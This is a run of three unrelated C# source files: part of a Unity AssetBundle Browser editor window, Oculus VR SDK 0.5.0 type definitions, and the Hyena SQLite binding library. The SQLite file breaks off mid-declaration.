[SerializeField]
public AssetBundleManageTab m_ManageTab;
[SerializeField]
public AssetBundleBuildTab m_BuildTab;
//[SerializeField]
//public AssetBundleInspectTab m_InspectTab;
private Texture2D m_RefreshTexture;
const float k_ToolbarPadding = 15;
const float k_MenubarPadding = 32;
[MenuItem("Window/AssetBundle Browser", priority = 2050)]
static void ShowWindow()
{
var window = GetWindow<AssetBundleBrowserMain>();
window.titleContent = new GUIContent("AssetBundles");
window.Show();
}
[SerializeField]
public bool multiDataSource = false;
public virtual void AddItemsToMenu(GenericMenu menu)
{
//menu.AddSeparator(string.Empty);
menu.AddItem(new GUIContent("Custom Sources"), multiDataSource, FlipDataSource);
}
public void FlipDataSource()
{
multiDataSource = !multiDataSource;
}
private void OnEnable()
{
Rect subPos = GetSubWindowArea();
if(m_ManageTab == null)
m_ManageTab = new AssetBundleManageTab();
m_ManageTab.OnEnable(subPos, this);
if(m_BuildTab == null)
m_BuildTab = new AssetBundleBuildTab();
m_BuildTab.OnEnable(subPos, this);
//if (m_InspectTab == null)
// m_InspectTab = new AssetBundleInspectTab();
//m_InspectTab.OnEnable(subPos, this);
m_RefreshTexture = EditorGUIUtility.FindTexture("Refresh");
//determine if we are "multi source" or not...
multiDataSource = false;
List<System.Type> types = AssetBundleDataSource.ABDataSourceProviderUtility.CustomABDataSourceTypes;
if (types.Count > 1)
multiDataSource = true;
}
private Rect GetSubWindowArea()
{
float padding = k_MenubarPadding;
if (multiDataSource)
padding += k_MenubarPadding * 0.5f;
Rect subPos = new Rect(0, padding, position.width, position.height - padding);
return subPos;
}
private void Update()
{
switch (m_Mode)
{
case Mode.Builder:
//m_BuildTab.Update();
break;
case Mode.Inspect:
//m_InspectTab.Update();
break;
case Mode.Browser:
default:
m_ManageTab.Update();
break;
}
}
private void OnGUI()
{
ModeToggle();
switch(m_Mode)
{
case Mode.Builder:
m_BuildTab.OnGUI(GetSubWindowArea());
break;
case Mode.Inspect:
//m_InspectTab.OnGUI(GetSubWindowArea());
break;
case Mode.Browser:
default:
m_ManageTab.OnGUI(GetSubWindowArea());
break;
}
}
void ModeToggle()
{
GUILayout.BeginHorizontal();
GUILayout.Space(k_ToolbarPadding);
if (m_Mode == Mode.Browser)
{
bool clicked = GUILayout.Button(m_RefreshTexture);
if (clicked)
m_ManageTab.ForceReloadData();
}
else
{
GUILayout.Space(m_RefreshTexture.width + k_ToolbarPadding);
}
float toolbarWidth = position.width - k_ToolbarPadding * 4 - m_RefreshTexture.width;
string[] labels = new string[2] { "Configure", "Build" };//, "Inspect" };
m_Mode = (Mode)GUILayout.Toolbar((int)m_Mode, labels, "LargeButton", GUILayout.Width(toolbarWidth) );
GUILayout.FlexibleSpace();
GUILayout.EndHorizontal();
if(multiDataSource)
{
//GUILayout.BeginArea(r);
GUILayout.BeginHorizontal();
using (new EditorGUILayout.HorizontalScope(EditorStyles.toolbar))
{
GUILayout.Label("Bundle Data Source:");
GUILayout.FlexibleSpace();
var c = new GUIContent(string.Format("{0} ({1})", AssetBundleModel.Model.DataSource.Name, AssetBundleModel.Model.DataSource.ProviderName), "Select Asset Bundle Set");
if (GUILayout.Button(c , EditorStyles.toolbarPopup) )
{
GenericMenu menu = new GenericMenu();
bool firstItem = true;
foreach (var info in AssetBundleDataSource.ABDataSourceProviderUtility.CustomABDataSourceTypes)
{
List<AssetBundleDataSource.ABDataSource> dataSourceList = null;
dataSourceList = info.GetMethod("CreateDataSources").Invoke(null, null) as List<AssetBundleDataSource.ABDataSource>;
if (dataSourceList == null)
continue;
if (!firstItem)
{
menu.AddSeparator("");
}
foreach (var ds in dataSourceList)
{
menu.AddItem(new GUIContent(string.Format("{0} ({1})", ds.Name, ds.ProviderName)), false,
() =>
{
var thisDataSource = ds;
AssetBundleModel.Model.DataSource = thisDataSource;
m_ManageTab.ForceReloadData();
}
);
}
firstItem = false;
}
menu.ShowAsContext();
}
GUILayout.FlexibleSpace();
if (AssetBundleModel.Model.DataSource.IsReadOnly())
{
GUIStyle tbLabel = new GUIStyle(EditorStyles.toolbar);
tbLabel.alignment = TextAnchor.MiddleRight;
GUILayout.Label("Read Only", tbLabel);
}
}
GUILayout.EndHorizontal();
//GUILayout.EndArea();
}
}
}
}
| |
/************************************************************************************
Copyright : Copyright 2014 Oculus VR, LLC. All Rights reserved.
Licensed under the Oculus VR Rift SDK License Version 3.2 (the "License");
you may not use the Oculus VR Rift SDK except in compliance with the License,
which is provided at the time of installation or download, or which
otherwise accompanies this software in either electronic or hard copy form.
You may obtain a copy of the License at
http://www.oculusvr.com/licenses/LICENSE-3.2
Unless required by applicable law or agreed to in writing, the Oculus VR SDK
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
************************************************************************************/
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace Ovr
{
/// <summary>
/// A 2D vector with integer components.
/// </summary>
[StructLayout(LayoutKind.Explicit)]
internal struct Vector2i
{
[FieldOffset(0)] public Int32 x;
[FieldOffset(4)] public Int32 y;
public Vector2i(Int32 _x, Int32 _y)
{
x = _x;
y = _y;
}
};
/// <summary>
/// A 2D size with integer components.
/// </summary>
[StructLayout(LayoutKind.Explicit)]
internal struct Sizei
{
[FieldOffset(0)] public Int32 w;
[FieldOffset(4)] public Int32 h;
public Sizei(Int32 _w, Int32 _h)
{
w = _w;
h = _h;
}
};
/// <summary>
/// A 2D rectangle with a position and size.
/// All components are integers.
/// </summary>
[StructLayout(LayoutKind.Explicit)]
internal struct Recti
{
[FieldOffset(0)] public Vector2i Pos;
[FieldOffset(8)] public Sizei Size;
};
/// <summary>
/// A quaternion rotation.
/// </summary>
[StructLayout(LayoutKind.Explicit)]
internal struct Quatf
{
[FieldOffset(0)] public float x;
[FieldOffset(4)] public float y;
[FieldOffset(8)] public float z;
[FieldOffset(12)] public float w;
public Quatf(float _x, float _y, float _z, float _w)
{
x = _x;
y = _y;
z = _z;
w = _w;
}
};
/// <summary>
/// A 2D vector with float components.
/// </summary>
[StructLayout(LayoutKind.Explicit)]
internal struct Vector2f
{
[FieldOffset(0)] public float x;
[FieldOffset(4)] public float y;
public Vector2f(float _x, float _y)
{
x = _x;
y = _y;
}
};
/// <summary>
/// A 3D vector with float components.
/// </summary>
[StructLayout(LayoutKind.Explicit)]
internal struct Vector3f
{
[FieldOffset(0)] public float x;
[FieldOffset(4)] public float y;
[FieldOffset(8)] public float z;
public Vector3f(float _x, float _y, float _z)
{
x = _x;
y = _y;
z = _z;
}
};
/// <summary>
/// Position and orientation together.
/// </summary>
[StructLayout(LayoutKind.Explicit)]
internal struct Posef
{
[FieldOffset(0)] public Quatf Orientation;
[FieldOffset(16)] public Vector3f Position;
public Posef(Quatf q, Vector3f p)
{
Orientation = q;
Position = p;
}
};
//-----------------------------------------------------------------------------------
// ***** HMD Types
/// <summary>
/// Enumerates all HMD types that we support.
/// </summary>
internal enum HmdType
{
None = 0,
DK1 = 3,
DKHD = 4,
DK2 = 6,
BlackStar = 7,
CB = 8,
Other // Some HMD other than the ones in this enumeration.
};
/// <summary>
/// HMD capability bits reported by device.
/// </summary>
internal enum HmdCaps
{
/// <summary>
/// (read only) The HMD is plugged in and detected by the system.
/// </summary>
Present = 0x0001,
/// <summary>
/// (read only) The HMD and its sensor are available for ownership use.
/// i.e. it is not already owned by another application.
/// </summary>
Available = 0x0002,
/// <summary>
/// (read only) Set to 'true' if we captured ownership of this HMD.
/// </summary>
Captured = 0x0004,
/// <summary>
/// (read only) Means the display driver is in compatibility mode.
/// </summary>
ExtendDesktop = 0x0008,
/// <summary>
/// (read only) Means HMD device is a virtual debug device.
/// </summary>
DebugDevice = 0x0010,
// Modifiable flags (through ovrHmd_SetEnabledCaps).
/// <summary>
/// Disables mirroring of HMD output to the window. This may improve
/// rendering performance slightly (only if 'ExtendDesktop' is off).
/// </summary>
NoMirrorToWindow = 0x2000,
/// <summary>
/// Turns off HMD screen and output (only if 'ExtendDesktop' is off).
/// </summary>
DisplayOff = 0x0040,
/// <summary>
/// HMD supports low persistence mode.
/// </summary>
LowPersistence = 0x0080,
/// <summary>
/// Adjust prediction dynamically based on internally measured latency.
/// </summary>
DynamicPrediction = 0x0200,
/// <summary>
/// Support rendering without VSync for debugging.
/// </summary>
NoVSync = 0x1000,
/// <summary>
/// These bits can be modified by ovrHmd_SetEnabledCaps.
/// </summary>
WritableMask = NoMirrorToWindow
| DisplayOff
| LowPersistence
| DynamicPrediction
| NoVSync,
/// <summary>
/// These flags are currently passed into the service. May change without notice.
/// </summary>
ServiceMask = NoMirrorToWindow
| DisplayOff
| LowPersistence
| DynamicPrediction,
};
/// <summary>
/// Tracking capability bits reported by the device.
/// Used with ovrHmd_ConfigureTracking.
/// </summary>
internal enum TrackingCaps
{
/// <summary>
/// Supports orientation tracking (IMU).
/// </summary>
Orientation = 0x0010,
/// <summary>
/// Supports yaw drift correction via a magnetometer or other means.
/// </summary>
MagYawCorrection = 0x0020,
/// <summary>
/// Supports positional tracking.
/// </summary>
Position = 0x0040,
/// <summary>
/// Overrides the other flags. Indicates that the application
/// doesn't care about tracking settings. This is the internal
/// default before ovrHmd_ConfigureTracking is called.
/// </summary>
Idle = 0x0100,
};
/// <summary>
/// Distortion capability bits reported by device.
/// Used with ovrHmd_ConfigureRendering and ovrHmd_CreateDistortionMesh.
/// </summary>
internal enum DistortionCaps
{
/// <summary>
/// Supports chromatic aberration correction.
/// </summary>
Chromatic = 0x01,
/// <summary>
/// Supports timewarp.
/// </summary>
TimeWarp = 0x02,
// 0x04 unused
/// <summary>
/// Supports vignetting around the edges of the view.
/// </summary>
Vignette = 0x08,
/// <summary>
/// Do not save and restore the graphics state when rendering distortion.
/// </summary>
NoRestore = 0x10,
/// <summary>
/// Flip the vertical texture coordinate of input images.
/// </summary>
FlipInput = 0x20,
/// <summary>
/// Assume input images are in sRGB gamma-corrected color space.
/// </summary>
SRGB = 0x40,
/// <summary>
/// Overdrive brightness transitions to reduce artifacts on DK2+ displays
/// </summary>
Overdrive = 0x80,
/// <summary>
/// High-quality sampling of distortion buffer for anti-aliasing
/// </summary>
HqDistortion = 0x100,
/// </summary>
/// Indicates window is fullscreen on a device when set.
/// The SDK will automatically apply distortion mesh rotation if needed.
/// </summary>
LinuxDevFullscreen = 0x200,
/// <summary>
/// Using compute shader (DX11+ only)
/// </summary>
ComputeShader = 0x400,
/// <summary>
/// Use when profiling with timewarp to remove false positives
/// </summary>
ProfileNoTimewarpSpinWaits = 0x10000,
};
/// <summary>
/// Specifies which eye is being used for rendering.
/// This type explicitly does not include a third "NoStereo" option, as such is
/// not required for an HMD-centered API.
/// </summary>
internal enum Eye
{
Left = 0,
Right = 1,
Count = 2,
};
/// <summary>
/// Bit flags describing the current status of sensor tracking.
/// The values must be the same as in enum StatusBits.
/// </summary>
internal enum StatusBits
{
/// <summary>
/// Orientation is currently tracked (connected and in use).
/// </summary>
OrientationTracked = 0x0001,
/// <summary>
/// Position is currently tracked (false if out of range).
/// </summary>
PositionTracked = 0x0002,
/// <summary>
/// Camera pose is currently tracked.
/// </summary>
CameraPoseTracked = 0x0004,
/// <summary>
/// Position tracking hardware is connected.
/// </summary>
PositionConnected = 0x0020,
/// <summary>
/// HMD Display is available and connected.
/// </summary>
HmdConnected = 0x0080,
};
//-----------------------------------------------------------------------------------
// ***** Platform-independent Rendering Configuration
/// <summary>
/// These types are used to hide platform-specific details when passing
/// render device, OS, and texture data to the API.
///
/// The benefit of having these wrappers versus platform-specific API functions is
/// that they allow game glue code to be portable. A typical example is an
/// engine that has multiple back ends, say GL and D3D. Portable code that calls
/// these back ends may also use LibOVR. To do this, back ends can be modified
/// to return portable types such as ovrTexture and ovrRenderAPIConfig.
/// </summary>
internal enum RenderAPIType
{
None,
OpenGL,
Android_GLES, // May include extra native window pointers, etc.
D3D9,
D3D10, // Deprecated: Not supported for SDK rendering
D3D11,
Count,
};
/// <summary>
/// Provides an interface to a CAPI HMD object. The ovrHmd instance is normally
/// created by ovrHmd::Create, after which its other methods can be called.
/// The typical process would involve calling:
///
/// Setup:
/// - Initialize() to initialize the OVR SDK.
/// - Construct Hmd to create an ovrHmd.
/// - Use hmd members and ovrHmd_GetFovTextureSize() to determine graphics configuration.
/// - ConfigureTracking() to configure and initialize tracking.
/// - ConfigureRendering() to setup graphics for SDK rendering, which is the preferred approach.
/// - Please refer to "Client Distortion Rendering" below if you prefer to do that instead.
/// - If ovrHmdCap_ExtendDesktop is not set, use ovrHmd_AttachToWindow to associate the window with an Hmd.
/// - Allocate render textures as needed.
///
/// Game Loop:
/// - Call ovrHmd_BeginFrame() to get frame timing and orientation information.
/// - Render each eye in between, using ovrHmd_GetEyePoses or ovrHmd_GetHmdPosePerEye to get the predicted hmd pose and each eye pose.
/// - Call ovrHmd_EndFrame() to render distorted textures to the back buffer
/// and present them on the Hmd.
///
/// Shutdown:
/// - Dispose the Hmd to release the ovrHmd.
/// - ovr_Shutdown() to shutdown the OVR SDK.
/// </summary>
internal class Hmd
{
public const string OVR_VERSION_STRING = "0.5.0";
public const string OVR_KEY_USER = "User";
public const string OVR_KEY_NAME = "Name";
public const string OVR_KEY_GENDER = "Gender";
public const string OVR_KEY_PLAYER_HEIGHT = "PlayerHeight";
public const string OVR_KEY_EYE_HEIGHT = "EyeHeight";
public const string OVR_KEY_IPD = "IPD";
public const string OVR_KEY_NECK_TO_EYE_DISTANCE = "NeckEyeDistance";
public const string OVR_KEY_EYE_RELIEF_DIAL = "EyeReliefDial";
public const string OVR_KEY_EYE_TO_NOSE_DISTANCE = "EyeToNoseDist";
public const string OVR_KEY_MAX_EYE_TO_PLATE_DISTANCE = "MaxEyeToPlateDist";
public const string OVR_KEY_EYE_CUP = "EyeCup";
public const string OVR_KEY_CUSTOM_EYE_RENDER = "CustomEyeRender";
public const string OVR_KEY_CAMERA_POSITION = "CenteredFromWorld";
// Default measurements empirically determined at Oculus to make us happy
// The neck model numbers were derived as an average of the male and female averages from ANSUR-88
// NECK_TO_EYE_HORIZONTAL = H22 - H43 = INFRAORBITALE_BACK_OF_HEAD - TRAGION_BACK_OF_HEAD
// NECK_TO_EYE_VERTICAL = H21 - H15 = GONION_TOP_OF_HEAD - ECTOORBITALE_TOP_OF_HEAD
// These were determined to be the best in a small user study, clearly beating out the previous default values
public const string OVR_DEFAULT_GENDER = "Unknown";
public const float OVR_DEFAULT_PLAYER_HEIGHT = 1.778f;
public const float OVR_DEFAULT_EYE_HEIGHT = 1.675f;
public const float OVR_DEFAULT_IPD = 0.064f;
public const float OVR_DEFAULT_NECK_TO_EYE_HORIZONTAL = 0.0805f;
public const float OVR_DEFAULT_NECK_TO_EYE_VERTICAL = 0.075f;
public const float OVR_DEFAULT_EYE_RELIEF_DIAL = 3;
public readonly float[] OVR_DEFAULT_CAMERA_POSITION = {0,0,0,1,0,0,0};
}
}
| |
//
// Sqlite.cs
//
// Authors:
// Gabriel Burt <gburt@novell.com>
//
// Copyright (C) 2010 Novell, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
using System;
using System.Linq;
using System.Text;
using System.Collections;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using Hyena;
namespace Hyena.Data.Sqlite
{
public class Connection : IDisposable
{
IntPtr ptr;
internal IntPtr Ptr { get { return ptr; } }
internal List<Statement> Statements = new List<Statement> ();
public string DbPath { get; private set; }
public long LastInsertRowId {
get { return Native.sqlite3_last_insert_rowid (Ptr); }
}
public Connection (string dbPath)
{
DbPath = dbPath;
CheckError (Native.sqlite3_open (Native.GetUtf8Bytes (dbPath), out ptr));
if (ptr == IntPtr.Zero)
throw new Exception ("Unable to open connection");
Native.sqlite3_extended_result_codes (ptr, 1);
AddFunction<BinaryFunction> ();
AddFunction<CollationKeyFunction> ();
AddFunction<SearchKeyFunction> ();
AddFunction<Md5Function> ();
}
public void Dispose ()
{
if (ptr != IntPtr.Zero) {
lock (Statements) {
var stmts = Statements.ToArray ();
if (stmts.Length > 0)
Hyena.Log.DebugFormat ("Connection disposing of {0} remaining statements", stmts.Length);
foreach (var stmt in stmts) {
stmt.Dispose ();
}
}
CheckError (Native.sqlite3_close (ptr));
ptr = IntPtr.Zero;
}
}
~Connection ()
{
Dispose ();
}
internal void CheckError (int errorCode)
{
CheckError (errorCode, "");
}
internal void CheckError (int errorCode, string sql)
{
if (errorCode == 0 || errorCode == 100 || errorCode == 101)
return;
string errmsg = Native.sqlite3_errmsg16 (Ptr).PtrToString ();
if (sql != null) {
errmsg = String.Format ("{0} (SQL: {1})", errmsg, sql);
}
throw new SqliteException (errorCode, errmsg);
}
public Statement CreateStatement (string sql)
{
return new Statement (this, sql);
}
public QueryReader Query (string sql)
{
return new Statement (this, sql) { ReaderDisposes = true }.Query ();
}
public T Query<T> (string sql)
{
using (var stmt = new Statement (this, sql)) {
return stmt.Query<T> ();
}
}
public void Execute (string sql)
{
// TODO
// * The application must insure that the 1st parameter to sqlite3_exec() is a valid and open database connection.
// * The application must not close database connection specified by the 1st parameter to sqlite3_exec() while sqlite3_exec() is running.
// * The application must not modify the SQL statement text passed into the 2nd parameter of sqlite3_exec() while sqlite3_exec() is running.
CheckError (Native.sqlite3_exec (Ptr, Native.GetUtf8Bytes (sql), IntPtr.Zero, IntPtr.Zero, IntPtr.Zero), sql);
}
// We need to keep a managed ref to the function objects we create so
// they won't get GC'd
List<SqliteFunction> functions = new List<SqliteFunction> ();
const int UTF16 = 4;
public void AddFunction<T> () where T : SqliteFunction
{
var type = typeof (T);
var pr = (SqliteFunctionAttribute)type.GetCustomAttributes (typeof (SqliteFunctionAttribute), false).First ();
var f = (SqliteFunction) Activator.CreateInstance (typeof (T));
f._InvokeFunc = (pr.FuncType == FunctionType.Scalar) ? new SqliteCallback(f.ScalarCallback) : null;
f._StepFunc = (pr.FuncType == FunctionType.Aggregate) ? new SqliteCallback(f.StepCallback) : null;
f._FinalFunc = (pr.FuncType == FunctionType.Aggregate) ? new SqliteFinalCallback(f.FinalCallback) : null;
f._CompareFunc = (pr.FuncType == FunctionType.Collation) ? new SqliteCollation(f.CompareCallback) : null;
if (pr.FuncType != FunctionType.Collation) {
CheckError (Native.sqlite3_create_function16 (
ptr, pr.Name, pr.Arguments, UTF16, IntPtr.Zero,
f._InvokeFunc, f._StepFunc, f._FinalFunc
));
} else {
CheckError (Native.sqlite3_create_collation16 (
ptr, pr.Name, UTF16, IntPtr.Zero, f._CompareFunc
));
}
functions.Add (f);
}
public void RemoveFunction<T> () where T : SqliteFunction
{
var type = typeof (T);
var pr = (SqliteFunctionAttribute)type.GetCustomAttributes (typeof (SqliteFunctionAttribute), false).First ();
if (pr.FuncType != FunctionType.Collation) {
CheckError (Native.sqlite3_create_function16 (
ptr, pr.Name, pr.Arguments, UTF16, IntPtr.Zero,
null, null, null
));
} else {
CheckError (Native.sqlite3_create_collation16 (
ptr, pr.Name, UTF16, IntPtr.Zero, null
));
}
var func = functions.FirstOrDefault (f => f is T);
if (func != null) {
functions.Remove (func);
}
}
}
public class SqliteException : Exception
{
public int ErrorCode { get; private set; }
public SqliteException (int errorCode, string message) : base (String.Format ("Sqlite error {0}: {1}", errorCode, message))
{
ErrorCode = errorCode;
}
}
public interface IDataReader : IDisposable
{
bool Read ();
object this[int i] { get; }
object this[string columnName] { get; }
T Get<T> (int i);
T Get<T> (string columnName);
object Get (int i, Type asType);
int FieldCount { get; }
string [] FieldNames { get; }
}
public class Statement : IDisposable, IEnumerable<IDataReader>
{
IntPtr ptr;
Connection connection;
bool bound;
QueryReader reader;
bool disposed;
internal bool Reading { get; set; }
internal IntPtr Ptr { get { return ptr; } }
internal bool Bound { get { return bound; } }
internal Connection Connection { get { return connection; } }
public bool IsDisposed { get { return disposed; } }
public string CommandText { get; private set; }
public int ParameterCount { get; private set; }
public bool ReaderDisposes { get; internal set; }
internal event EventHandler Disposed;
internal Statement (Connection connection, string sql)
{
CommandText = sql;
this.connection = connection;
IntPtr pzTail = IntPtr.Zero;
CheckError (Native.sqlite3_prepare16_v2 (connection.Ptr, sql, -1, out ptr, out pzTail));
lock (Connection.Statements) {
Connection.Statements.Add (this);
}
if (pzTail != IntPtr.Zero && Marshal.ReadByte (pzTail) != 0) {
Dispose ();
throw new ArgumentException ("sql", String.Format ("This sqlite binding does not support multiple commands in one statement:\n {0}", sql));
}
ParameterCount = Native.sqlite3_bind_parameter_count (ptr);
reader = new QueryReader () { Statement = this };
}
internal void CheckReading ()
{
CheckDisposed ();
if (!Reading) {
throw new InvalidOperationException ("Statement is not readable");
}
}
internal void CheckDisposed ()
{
if (disposed) {
throw new InvalidOperationException ("Statement is disposed");
}
}
public void Dispose ()
{
if (disposed)
return;
disposed = true;
if (ptr != IntPtr.Zero) {
// Don't check for error here, because if the most recent evaluation had an error finalize will return it too
// See http://sqlite.org/c3ref/finalize.html
Native.sqlite3_finalize (ptr);
ptr = IntPtr.Zero;
lock (Connection.Statements) {
Connection.Statements.Remove (this);
}
var h = Disposed;
if (h != null) {
h (this, EventArgs.Empty);
}
}
}
~Statement ()
{
Dispose ();
}
object [] null_val = new object [] { null };
public Statement Bind (params object [] vals)
{
Reset ();
if (vals == null && ParameterCount == 1)
vals = null_val;
if (vals == null || vals.Length != ParameterCount || ParameterCount == 0)
throw new ArgumentException ("vals", String.Format ("Statement has {0} parameters", ParameterCount));
for (int i = 1; i <= vals.Length; i++) {
int code = 0;
object o = SqliteUtils.ToDbFormat (vals[i - 1]);
if (o == null)
code = Native.sqlite3_bind_null (Ptr, i);
else if (o is double)
code = Native.sqlite3_bind_double (Ptr, i, (double)o);
else if (o is float)
code = Native.sqlite3_bind_double (Ptr, i, (double)(float)o);
else if (o is int)
code = Native.sqlite3_bind_int (Ptr, i, (int)o);
else if (o is uint)
code = Native.sqlite3_bind_int (Ptr, i, (int)(uint)o);
else if (o is long)
code = Native.sqlite3_bind_int64 (Ptr, i, (long)o);
else if (o is ulong)
code = Native.sqlite3_bind_int64 (Ptr, i, (long)(ulong)o);
else if (o is byte[]) {
byte [] bytes = o as byte[];
code = Native.sqlite3_bind_blob (Ptr, i, bytes, bytes.Length, (IntPtr)(-1));
} else {
// C# strings are UTF-16, so 2 bytes per char
// -1 for the last arg is the TRANSIENT destructor type so that sqlite will make its own copy of the string
string str = (o as string) ?? o.ToString ();
code = Native.sqlite3_bind_text16 (Ptr, i, str, str.Length * 2, (IntPtr)(-1));
}
CheckError (code);
}
bound = true;
return this;
}
internal void CheckError (int code)
{
connection.CheckError (code, CommandText);
}
private void Reset ()
{
CheckDisposed ();
if (Reading) {
throw new InvalidOperationException ("Can't reset statement while it's being read; make sure to Dispose any IDataReaders");
}
CheckError (Native.sqlite3_reset (ptr));
}
public IEnumerator<IDataReader> GetEnumerator ()
{
Reset ();
while (reader.Read ()) {
yield return reader;
}
}
IEnumerator IEnumerable.GetEnumerator ()
{
return GetEnumerator ();
}
public Statement Execute ()
{
Reset ();
using (reader) {
reader.Read ();
}
return this;
}
public T Query<T> ()
{
Reset ();
using (reader) {
return reader.Read () ? reader.Get<T> (0) : (T) SqliteUtils.FromDbFormat <T> (null);
}
}
public QueryReader Query ()
{
Reset ();
return reader;
}
}
public class QueryReader : IDataReader
{
Dictionary<string, int> columns;
int column_count = -1;
internal Statement Statement { get; set; }
IntPtr Ptr { get { return Statement.Ptr; } }
public void Dispose ()
{
Statement.Reading = false;
if (Statement.ReaderDisposes) {
Statement.Dispose ();
}
}
public int FieldCount {
get {
if (column_count == -1) {
Statement.CheckDisposed ();
column_count = Native.sqlite3_column_count (Ptr);
}
return column_count;
}
}
string [] field_names;
public string [] FieldNames {
get {
if (field_names == null) {
field_names = Columns.Keys.OrderBy (f => Columns[f]).ToArray ();
}
return field_names;
}
}
public bool Read ()
{
Statement.CheckDisposed ();
if (Statement.ParameterCount > 0 && !Statement.Bound)
throw new InvalidOperationException ("Statement not bound");
int code = Native.sqlite3_step (Ptr);
if (code == ROW) {
Statement.Reading = true;
return true;
} else {
Statement.Reading = false;
Statement.CheckError (code);
return false;
}
}
public object this[int i] {
get {
Statement.CheckReading ();
int type = Native.sqlite3_column_type (Ptr, i);
switch (type) {
case SQLITE_INTEGER:
return Native.sqlite3_column_int64 (Ptr, i);
case SQLITE_FLOAT:
return Native.sqlite3_column_double (Ptr, i);
case SQLITE3_TEXT:
return Native.sqlite3_column_text16 (Ptr, i).PtrToString ();
case SQLITE_BLOB:
int num_bytes = Native.sqlite3_column_bytes (Ptr, i);
if (num_bytes == 0)
return null;
byte [] bytes = new byte[num_bytes];
Marshal.Copy (Native.sqlite3_column_blob (Ptr, i), bytes, 0, num_bytes);
return bytes;
case SQLITE_NULL:
return null;
default:
throw new Exception (String.Format ("Column is of unknown type {0}", type));
}
}
}
public object this[string columnName] {
get { return this[GetColumnIndex (columnName)]; }
}
public T Get<T> (int i)
{
return (T) Get (i, typeof(T));
}
public object Get (int i, Type asType)
{
return GetAs (this[i], asType);
}
internal static object GetAs (object o, Type type)
{
if (o != null && o.GetType () == type)
return o;
if (o == null)
o = null;
else if (type == typeof(int))
o = (int)(long)o;
else if (type == typeof(uint))
o = (uint)(long)o;
else if (type == typeof(ulong))
o = (ulong)(long)o;
else if (type == typeof(float))
o = (float)(double)o;
if (o != null && o.GetType () == type)
return o;
return SqliteUtils.FromDbFormat (type, o);
}
public T Get<T> (string columnName)
{
return Get<T> (GetColumnIndex (columnName));
}
private Dictionary<string, int> Columns {
get {
if (columns == null) {
columns = new Dictionary<string, int> ();
for (int i = 0; i < FieldCount; i++) {
columns[Native.sqlite3_column_name16 (Ptr, i).PtrToString ()] = i;
}
}
return columns;
}
}
private int GetColumnIndex (string columnName)
{
Statement.CheckReading ();
int col = 0;
if (!Columns.TryGetValue (columnName, out col))
throw new ArgumentException ("columnName");
return col;
}
const int SQLITE_INTEGER = 1;
const int SQLITE_FLOAT = 2;
const int SQLITE3_TEXT = 3;
const int SQLITE_BLOB = 4;
const int SQLITE_NULL = 5;
const int ROW = 100;
const int DONE = 101;
}
internal static class Native
{
const string SQLITE_DLL = "sqlite3";
// Connection functions
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_open(byte [] utf8DbPath, out IntPtr db);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_close(IntPtr db);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern long sqlite3_last_insert_rowid (IntPtr db);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_busy_timeout(IntPtr db, int ms);
[DllImport (SQLITE_DLL, CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr sqlite3_errmsg16(IntPtr db);
[DllImport (SQLITE_DLL, CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_create_function16(IntPtr db, string strName, int nArgs, int eTextRep, IntPtr app, SqliteCallback func, SqliteCallback funcstep, SqliteFinalCallback funcfinal);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_aggregate_count(IntPtr context);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr sqlite3_aggregate_context(IntPtr context, int nBytes);
[DllImport (SQLITE_DLL, CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_create_collation16(IntPtr db, string strName, int eTextRep, IntPtr ctx, SqliteCollation fcompare);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_extended_result_codes (IntPtr db, int onoff);
// Statement functions
[DllImport (SQLITE_DLL, CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_prepare16_v2(IntPtr db, string pSql, int nBytes, out IntPtr stmt, out IntPtr ptrRemain);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_step(IntPtr stmt);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_column_count(IntPtr stmt);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr sqlite3_column_name16(IntPtr stmt, int index);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_column_type(IntPtr stmt, int iCol);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr sqlite3_column_blob(IntPtr stmt, int iCol);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
